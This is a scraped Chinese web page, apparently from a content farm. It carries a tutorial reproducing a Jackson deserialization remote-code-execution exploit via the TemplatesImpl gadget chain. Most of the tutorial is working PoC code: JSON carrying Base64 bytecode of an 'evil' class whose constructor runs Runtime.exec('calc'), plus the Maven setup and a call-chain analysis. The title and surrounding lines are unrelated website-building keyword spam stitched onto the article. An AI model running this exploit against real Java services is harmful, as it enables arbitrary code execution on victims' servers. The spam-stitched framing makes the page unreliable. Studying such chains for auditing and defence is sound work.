当前位置: 首页 > news >正文

网站建设过程中要注意沟通网站建设专员 岗位职责

网站建设过程中要注意沟通,网站建设专员 岗位职责,网站怎么免费做推广方案,专业建设标准0x00 前言 Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。 同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链 相关原理,可以参考:Jackson 反序列化漏洞原理 …

0x00 前言

Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。

同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链

相关原理,可以参考:Jackson 反序列化漏洞原理

0x01 环境搭建

pom文件如下

    <dependencies><dependency><groupId>com.fasterxml.jackson.dataformat</groupId><artifactId>jackson-dataformat-xml</artifactId><version>2.7.9</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency></dependencies>

测试Demo:

 ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("com.evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.encode(bytes);String json = "{\"object\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{" +"\"transletBytecodes\":[\""+encoded+"\"]," +"\"transletName\":\"cs\"," +"\"outputProperties\":{}" +"}]}";System.out.printf(json);ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();mapper.readValue(json, People.class);}

evil文件

public class evil extends AbstractTranslet {public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public evil() throws IOException {Runtime.getRuntime().exec("calc");}public static void main(String[] args) throws IOException {evil obj = new evil();}
}

其他环境

  • jdk 1.7u2

0x02 漏洞复现

在这里插入图片描述

0x03 原理分析

主要原理就是需要调用指定类的setter方法来进行赋值,这个没有什么好解释的,主要是看一下Jackson是如何触发Getter的。

setter和getter可以参考:Java中动态调用setter以及getter

重点在循环遍历的位置:

jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer.class#vanillaDeserialize
在这里插入图片描述在这里插入图片描述

当存在set方法的时候就调用 jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\FieldProperty.class,就会触发set方法

在这里插入图片描述

当不存set方法的时候就会调用jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\SetterlessProperty.class

在这里插入图片描述
实际上fastjson的调用链,jackson基本都是可以用的

以上

http://www.yayakq.cn/news/706994/

相关文章:

  • 网站制作公司权威乐云践新专家建设网站注意什么
  • 西安哪些做网站的公司怎样做网商网站
  • 阿里国际网站官网入口市场营销策略范文
  • 旅游网站建设研究综述广东省建设交易中心网站首页
  • 网站审批号如何刷seo关键词排名
  • 顺德乐从网站建设西安竞价托管代运营
  • 雄安做网站要多少钱工业设计专业最佳出路
  • 西安网站群建设设计网站公司的账务处理
  • 网站采集被降权网站收录少的原因
  • 网站和网页的设计原则商标怎么设计
  • 深圳摇号申请网站qq空间破解版免费下载
  • 西峡网站建设会计公司网站模板
  • 品牌建设计划青岛企业网站建设优化
  • 网站做多少层级广州商务网站建设
  • 建设网站毕业设计无锡网站排名哪里有
  • 做一个网站如何做wordpress投票系统
  • 山东地产网站建设网站内容保护
  • 怎样做免费的网站推广青海省住房城乡建设厅网站首页
  • 可以做动画的网站都有哪些内容网站开发汇报的ppt
  • 湖南做网站 地址磐石网络精灵网站建设
  • 网站开发项目组团队百度知识营销
  • 做打鱼网站犯法不请写出html文档的代码
  • wordpress不显示站点标题网站版面布局设计的原则
  • 长沙 网站运营安卓app软件公司
  • 东莞手机建网站上海购物网站建设
  • 十堰优化网站公司wordpress批量修改图片src
  • 长春市住房建设局网站织梦网站开发
  • 用dw个人网站怎么做昆明网站建设在河科技
  • php网站建设视频wordpress手机重定向
  • mysol做的选课网站上海app开发推荐中伟科